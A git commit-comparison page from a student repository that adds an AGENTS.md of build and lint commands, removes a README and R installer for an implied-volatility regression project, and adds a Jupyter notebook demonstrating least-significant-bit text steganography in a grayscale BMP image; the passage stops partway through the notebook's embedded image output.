Compare commits

...

9 Commits

42 changed files with 11583 additions and 1280293 deletions

66
AGENTS.md Normal file
View File

@@ -0,0 +1,66 @@
# AGENTS.md
This file provides guidance to Codex (Codex.ai/code) when working with code in this repository.
## Quick Commands
### Python Projects
- **Install dependencies**: `uv sync` (root) or `uv sync` in a subdirectory with its own `pyproject.toml`
- **Run linter**: `ruff check .` (includes all files via `extend-include`)
- **Auto-fix**: `ruff check . --fix`
- **Format imports**: `ruff format .`
### R Projects
- **Load project**: RStudio/.Rprofile uses `renv` for isolation
- **Check style**: `lintr::lint("script.R")`
- **Format code**: `styler::style_file("script.R")`
### SQL (M2/SQL)
```bash
docker compose -f M2/SQL/docker-compose.yml up -d
make tp1 # Execute TP1.sql
make tp2 # Execute TP2.sql
make tp3 # Execute TP3.sql
make project # Execute DANJOU_Arthur.sql
```
## Project Structure
```
L3/ # Bachelor's degree (3rd year)
M1/ # Master's degree (1st year)
M2/ # Master's degree (2nd year)
└── <Course>/ # e.g., "Deep Learning", "Data Visualisation"
├── TP{n}/ # Practical work (numbered)
├── Project/ # Final project
└── data/ # Course-specific data
```
## Python Conventions
- **Package manager**: `uv` (workspace configured at root)
- **Linting**: Ruff with strict rules (`select = ["ALL"]`)
- **Import ordering**: Custom sections in `pyproject.toml`:
- `data-science`: numpy, pandas, scipy, matplotlib, seaborn, plotly
- `ml`: tensorflow, keras, torch, sklearn, xgboost, catboost, shap
- **Reproducibility**: Use `np.random.seed(42)` for random seeds
- **Notebooks**: Jupyter with descriptive markdown cells
## R Conventions
- **Package management**: `renv` (autoloading via `.Rprofile`)
- **Linting**: `lintr` configured in `.lintr`
- **Documents**: RMarkdown (`.Rmd`) for reproducible reports
- **Visualization**: ggplot2, plotly, FactoMineR
## Key Technologies
- **Data Science**: numpy, pandas, scipy, matplotlib, seaborn, plotly, geopandas
- **Machine Learning**: scikit-learn, xgboost, catboost, tensorflow, keras, shap
- **LLM/RAG**: langchain, sentence-transformers, faiss-cpu
- **R**: tidyverse, ggplot2, FactoMineR, caret, glmnet, RShiny
## Notes
- Large datasets are not versioned—download via notebook code when needed
- Course materials and documentation are primarily in French

File diff suppressed because one or more lines are too long

View File

@@ -1,310 +0,0 @@
# Implied Volatility Prediction from Options Data
[![R](https://img.shields.io/badge/R-4.0+-276DC3.svg)](https://www.r-project.org/)
[![Course](https://img.shields.io/badge/Course-Classification%20%26%20Regression-orange.svg)]()
[![License](https://img.shields.io/badge/License-Academic-blue.svg)]()
> **M2 Master's Project** Predicting implied volatility using advanced regression techniques and machine learning models on financial options data.
This project explores the prediction of **implied volatility** from options market data, combining classical statistical methods with modern machine learning approaches. The analysis covers data preprocessing, feature engineering, model benchmarking, and interpretability analysis using real-world financial panel data.
---
## 📋 Project Overview
### Problem Statement
Implied volatility represents the market's forward-looking expectation of an asset's future volatility. Accurate prediction is crucial for:
- **Option pricing** and valuation
- **Risk management** and hedging strategies
- **Trading strategies** based on volatility arbitrage
### Dataset
The project uses a comprehensive panel dataset tracking **3,887 assets** across **544 observation dates** (2019-2022):
| File | Description | Shape |
|------|-------------|-------|
| `Train_ISF.csv` | Training data with target variable | 1,909,465 rows × 21 columns |
| `Test_ISF.csv` | Test data for prediction | 1,251,308 rows × 18 columns |
| `hat_y.csv` | Final predictions from both models | 1,251,308 rows × 2 columns |
### Key Variables
**Target Variable:**
- `implied_vol_ref` The implied volatility to predict
**Feature Categories:**
- **Identifiers:** `asset_id`, `obs_date`
- **Market Activity:** `call_volume`, `put_volume`, `call_oi`, `put_oi`, `total_contracts`
- **Volatility Metrics:** `realized_vol_short`, `realized_vol_mid1-3`, `realized_vol_long1-4`, `market_vol_index`
- **Option Structure:** `strike_dispersion`, `maturity_count`
---
## 🏗️ Methodology
### Data Pipeline
```
Raw Data
┌─────────────────────────────────────────────────────────┐
│ Data Splitting (Chronological 80/20) │
│ - Training: 2019-10 to 2021-07 │
│ - Validation: 2021-07 to 2022-03 │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ Feature Engineering │
│ - Aggregation of volatility horizons │
│ - Creation of financial indicators │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ Data Preprocessing (tidymodels) │
│ - Winsorization (99.5th percentile) │
│ - Log/Yeo-Johnson transformations │
│ - Z-score normalization │
│ - PCA (95% variance retention) │
└─────────────────────────────────────────────────────────┘
Three Datasets Generated:
├── Tree-based (raw, scale-invariant)
├── Linear (normalized, winsorized)
└── PCA (dimensionality-reduced)
```
### Feature Engineering
New financial indicators created to capture market dynamics:
| Feature | Description | Formula |
|---------|-------------|---------|
| `pulse_ratio` | Volatility trend direction | RV_short / RV_long |
| `stress_spread` | Asset vs market stress | RV_short - Market_VIX |
| `put_call_ratio_volume` | Immediate market stress | Put_Volume / Call_Volume |
| `put_call_ratio_oi` | Long-term risk structure | Put_OI / Call_OI |
| `liquidity_ratio` | Market depth | Total_Volume / Total_OI |
| `option_dispersion` | Market uncertainty | Strike_Dispersion / Total_Contracts |
| `put_low_strike` | Downside protection density | Strike_Dispersion / Put_OI |
| `put_proportion` | Hedging vs speculation | Put_Volume / Total_Volume |
---
## 🤖 Models Implemented
### Linear Models
| Model | Description | Best RMSE |
|-------|-------------|-----------|
| **OLS** | Ordinary Least Squares | 11.26 |
| **Ridge** | L2 regularization | 12.48 |
| **Lasso** | L1 regularization (variable selection) | 12.03 |
| **Elastic Net** | L1 + L2 combined | ~12.03 |
| **PLS** | Partial Least Squares (on PCA) | 12.79 |
### Linear Mixed-Effects Models (LMM)
Advanced panel data models accounting for asset-specific effects:
| Model | Features | RMSE |
|-------|----------|------|
| LMM Baseline | All variables + Random Intercept | 8.77 |
| LMM Reduced | Collinearity removal | ~8.77 |
| LMM Interactions | Financial interaction terms | ~8.77 |
| LMM + Quadratic | Convexity terms (vol of vol) | 8.41 |
| **LMM + Random Slopes (mod_lmm_5)** | Asset-specific betas | **8.10** ⭐ |
### Tree-Based Models
| Model | Strategy | Validation RMSE | Training RMSE |
|-------|----------|-----------------|---------------|
| **XGBoost** | Level-wise, Bayesian tuning | 10.70 | 0.57 |
| **LightGBM** | Leaf-wise, feature regularization | **10.61** ⭐ | 10.90 |
| Random Forest | Bagging | DNF* | - |
*DNF: Did Not Finish (computational constraints)
### Neural Networks
| Model | Architecture | Status |
|-------|--------------|--------|
| MLP | 128-64 units, tanh activation | Failed to converge |
---
## 📊 Results Summary
### Model Comparison
```
RMSE Performance (Lower is Better)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Linear Mixed-Effects (LMM5) 8.38 ████████████████████ Best Linear
Linear Mixed-Effects (LMM4) 8.41 ███████████████████
Linear Mixed-Effects (Baseline) 8.77 ██████████████████
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
LightGBM 10.61 ███████████████ Best Non-Linear
XGBoost 10.70 ██████████████
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
OLS (with interactions) 11.26 █████████████
Lasso 12.03 ███████████
OLS (baseline) 12.01 ███████████
Ridge 12.48 ██████████
PLS 12.79 █████████
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
```
### Key Findings
1. **Best Linear Model:** LMM with Random Slopes (RMSE = 8.38)
- Captures asset-specific volatility sensitivities
- Includes quadratic terms for convexity effects
2. **Best Non-Linear Model:** LightGBM (RMSE = 10.61)
- Superior generalization vs XGBoost
- Feature regularization prevents overfitting
3. **Interpretability Insights (SHAP Analysis):**
- `realized_vol_mid` dominates (57% of gain)
- Volatility clustering confirmed as primary driver
- Non-linear regime switching in stress_spread
---
## 📁 Repository Structure
```
PROJECT/
├── Projet_MRC_DANJOU_LEGRAND_MERIC_VONSIEMENS.qmd # Main analysis (Quarto)
├── Projet_MRC_DANJOU_LEGRAND_MERIC_VONSIEMENS.html # Rendered report
├── packages.R # R dependencies installer
├── Train_ISF.csv # Training data (~1.9M rows)
├── Test_ISF.csv # Test data (~1.25M rows)
├── hat_y.csv # Final predictions
├── README.md # This file
└── results/
├── lightgbm/ # LightGBM model outputs
└── xgboost/ # XGBoost model outputs
```
---
## 🚀 Getting Started
### Prerequisites
- **R** ≥ 4.0
- Required packages (auto-installed via `packages.R`)
### Installation
```r
# Install all dependencies
source("packages.R")
```
Or manually install key packages:
```r
install.packages(c(
"tidyverse", "tidymodels", "caret", "glmnet",
"lme4", "lmerTest", "xgboost", "lightgbm",
"ranger", "pls", "shapviz", "rBayesianOptimization"
))
```
### Running the Analysis
1. **Open the Quarto document:**
```r
# In RStudio
rstudioapi::navigateToFile("Projet_MRC_DANJOU_LEGRAND_MERIC_VONSIEMENS.qmd")
```
2. **Render the document:**
```r
quarto::quarto_render("Projet_MRC_DANJOU_LEGRAND_MERIC_VONSIEMENS.qmd")
```
3. **Or run specific sections interactively** using the code chunks in the `.qmd` file
---
## 🛠️ Technical Details
### Data Split Strategy
- **Chronological split** at 80th percentile of dates
- Prevents look-ahead bias and data leakage
- Training: ~1.53M observations
- Validation: ~376K observations
### Hyperparameter Tuning
- **Method:** Bayesian Optimization (Gaussian Processes)
- **Acquisition:** Expected Improvement (UCB)
- **Goal:** Maximize negative RMSE
### Evaluation Metric
**Exponential RMSE** on original scale:
$$
RMSE_{real} = \sqrt{\frac{1}{n} \sum_{i=1}^{n} \left( \exp(\hat{y}_{\log, i}) - y_i \right)^2}
$$
Models trained on log-transformed target for variance stabilization.
---
## 📖 Key Concepts
### Financial Theories Applied
1. **Volatility Clustering** Past volatility predicts future volatility
2. **Variance Risk Premium** Spread between implied and realized volatility
3. **Fear Gauge** Put-call ratio as sentiment indicator
4. **Mean Reversion** Volatility tends to return to long-term average
5. **Liquidity Premium** Illiquid assets command higher volatility
### Statistical Methods
- Panel data modeling with fixed and random effects
- Principal Component Analysis (PCA)
- Bayesian hyperparameter optimization
- SHAP values for model interpretability
---
## 👥 Authors
**Team:**
- Arthur DANJOU
- Camille LEGRAND
- Axelle MERIC
- Moritz VON SIEMENS
**Course:** Classification and Regression (M2)
**Academic Year:** 2025-2026
---
## 📝 Notes
- **Computational Constraints:** Some models (Random Forest, MLP) failed due to hardware limitations (16GB RAM, CPU-only)
- **Reproducibility:** Set `seed = 2025` for consistent results
- **Language:** Analysis documented in English, course materials in French
---
## 📚 References
Key R packages used:
- `tidymodels` Modern modeling framework
- `glmnet` Regularized regression
- `lme4` / `lmerTest` Mixed-effects models
- `xgboost` / `lightgbm` Gradient boosting
- `shapviz` Model interpretability
- `rBayesianOptimization` Hyperparameter tuning

File diff suppressed because it is too large Load Diff

View File

@@ -1,44 +0,0 @@
# Liste des packages nécessaires
packages <- c(
"tidyverse",
"rsample",
"scales",
"dplyr",
"tidyr",
"glue",
"corrplot",
"ggfortify",
"carData",
"car",
"MASS",
"ggplot2",
"DataExplorer",
"skimr",
"plotly",
"gridExtra",
"grid",
"rlang",
"caret",
"reshape2",
"class",
"ROCR",
"randomForest",
"fitdistrplus",
"hexbin",
"paletteer"
)
# Fonction pour installer les packages manquants
install_if_missing <- function(p) {
if (!require(p, character.only = TRUE)) {
install.packages(p, dependencies = TRUE)
}
}
# Application de la fonction sur toute la liste
invisible(sapply(packages, install_if_missing))
# Chargement de toutes les librairies
invisible(lapply(packages, library, character.only = TRUE))
message("Tous les packages ont été installés et chargés avec succès !")

View File

@@ -0,0 +1,624 @@
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {
"id": "siM8xBq5kDja"
},
"outputs": [],
"source": [
"from PIL import Image\n",
"\n",
"import matplotlib.pyplot as plt\n",
"import numpy as np\n"
]
},
{
"cell_type": "code",
"execution_count": 2,
"metadata": {
"id": "QeDEw-sukFj9"
},
"outputs": [],
"source": [
"def texte_vers_binaire(texte):\n",
" \"\"\"Convertit un string en une chaîne de caractères binaires (8 bits par caractère).\"\"\"\n",
" return \"\".join(format(ord(c), \"08b\") for c in texte)\n",
"\n",
"def binaire_vers_texte(chaine_binaire):\n",
" \"\"\"Convertit une chaîne de caractères binaires en string.\"\"\"\n",
" octets = [chaine_binaire[i:i+8] for i in range(0, len(chaine_binaire), 8)]\n",
" return \"\".join(chr(int(octet, 2)) for octet in octets if len(octet) == 8)\n",
"\n",
"DELIMITEUR = \"#####\"\n"
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {
"id": "ULmRSCIExZ2j"
},
"outputs": [],
"source": [
"def cacher_message(chemin_image_entree, message_secret, chemin_image_sortie):\n",
" # On ouvre l'image et on s'assure qu'elle est en 8-bits (Niveaux de gris = mode 'L')\n",
" img = Image.open(chemin_image_entree).convert(\"L\")\n",
" pixels = np.array(img)\n",
"\n",
" # On ajoute le délimiteur à la fin du message et on convertit tout en binaire\n",
" message_complet = message_secret + DELIMITEUR\n",
" message_binaire = texte_vers_binaire(message_complet)\n",
"\n",
" # On aplatit le tableau de pixels en 1D pour faciliter le parcours\n",
" pixels_plats = pixels.flatten()\n",
"\n",
" # Vérification de la capacité de l'image\n",
" if len(message_binaire) > len(pixels_plats):\n",
" raise ValueError(\"Message is too long for the image.\")\n",
"\n",
" # Remplacement du bit de poids faible (LSB)\n",
" for i in range(len(message_binaire)):\n",
" bit_a_cacher = int(message_binaire[i])\n",
" # L'opération bit à bit '& 254' force le dernier bit à 0, puis on fait un 'OU' avec notre bit\n",
" pixels_plats[i] = (pixels_plats[i] & 254) | bit_a_cacher\n",
"\n",
" # On redonne à l'image sa forme originale et on sauvegarde\n",
" pixels_modifies = pixels_plats.reshape(pixels.shape)\n",
" img_modifiee = Image.fromarray(pixels_modifies, mode=\"L\")\n",
" img_modifiee.save(chemin_image_sortie, format=\"BMP\")\n",
" print(f\"Message succesfully hidden in : {chemin_image_sortie}\")\n",
"\n",
"# --- 3. FONCTION POUR EXTRAIRE LE MESSAGE (DÉCODAGE LSB) ---\n",
"\n",
"def extraire_message(chemin_image):\n",
" # On ouvre l'image modifiée\n",
" img = Image.open(chemin_image).convert(\"L\")\n",
" pixels_plats = np.array(img).flatten()\n",
"\n",
" bits_extraits = []\n",
"\n",
" # On récupère le dernier bit de chaque pixel\n",
" for pixel in pixels_plats:\n",
" bits_extraits.append(str(pixel & 1))\n",
"\n",
" chaine_binaire_complete = \"\".join(bits_extraits)\n",
"\n",
" # On lit le binaire par paquets de 8 bits (1 octet = 1 caractère)\n",
" message_decode = \"\"\n",
" for i in range(0, len(chaine_binaire_complete), 8):\n",
" octet = chaine_binaire_complete[i:i+8]\n",
" if len(octet) < 8:\n",
" break\n",
" caractere = chr(int(octet, 2))\n",
" message_decode += caractere\n",
"\n",
" # On s'arrête si on détecte le délimiteur\n",
" if message_decode.endswith(DELIMITEUR):\n",
" # On retourne le message sans le délimiteur\n",
" return message_decode[:-len(DELIMITEUR)]\n",
"\n",
" return \"No hidden message found (or delimiter not found).\"\n"
]
},
{
"cell_type": "code",
"execution_count": 4,
"metadata": {
"id": "g_e4U9O4lIOb"
},
"outputs": [],
"source": [
"nom_fichier_sortie = \"image_secrete.bmp\"\n",
"mon_message = \"Decode this!\"\n"
]
},
{
"cell_type": "code",
"execution_count": 5,
"metadata": {
"colab": {
"base_uri": "https://localhost:8080/"
},
"id": "oLpz4m1vk-zF",
"outputId": "1cdb06cb-9c4e-4131-b7a3-d76be6930c11"
},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Image 'image_test_8bits.bmp' created successfully!\n"
]
}
],
"source": [
"# 1. On définit la taille de l'image (par exemple 256 pixels par 256 pixels)\n",
"largeur, hauteur = 256, 256\n",
"\n",
"# 2. On crée un tableau rempli de zéros (qui correspondra à du noir)\n",
"pixels = np.zeros((hauteur, largeur), dtype=np.uint8)\n",
"\n",
"# 3. On crée un dégradé horizontal\n",
"# Chaque colonne prend la valeur de son index (de 0 à 255)\n",
"for x in range(largeur):\n",
" pixels[:, x] = x\n",
"\n",
"# 4. On convertit le tableau NumPy en image PIL (mode 'L' = 8 bits niveaux de gris)\n",
"image_test = Image.fromarray(pixels, mode=\"L\")\n",
"\n",
"# 5. On sauvegarde le fichier au format BMP\n",
"nom_fichier = \"image_test_8bits.bmp\"\n",
"image_test.save(nom_fichier, format=\"BMP\")\n",
"\n",
"print(f\"Image '{nom_fichier}' created successfully!\")\n"
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {
"colab": {
"base_uri": "https://localhost:8080/",
"height": 602
},
"id": "s9NtmhpUkU8T",
"outputId": "699b8055-5e19-4fde-94fc-44464672a291"
},
"outputs": [
{
"data": {
"image/jpeg": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAEAAQABAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/APAkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSv/2Q==",
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAAAAAB5Gfe6AAACuUlEQVR4AWJkYBzZgIlhhIPRABjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoCgBshCcABgCdkAL/fkEcHQAAAABJRU5ErkJggg==",
"text/plain": [
"<PIL.BmpImagePlugin.BmpImageFile image mode=L size=256x256>"
]
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Message succesfully hidden in : image_secrete.bmp\n"
]
},
{
"data": {
"image/jpeg": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAEAAQABAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/APAkqwlWEqylTpVhKsJVhKsJVhKspU6VYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+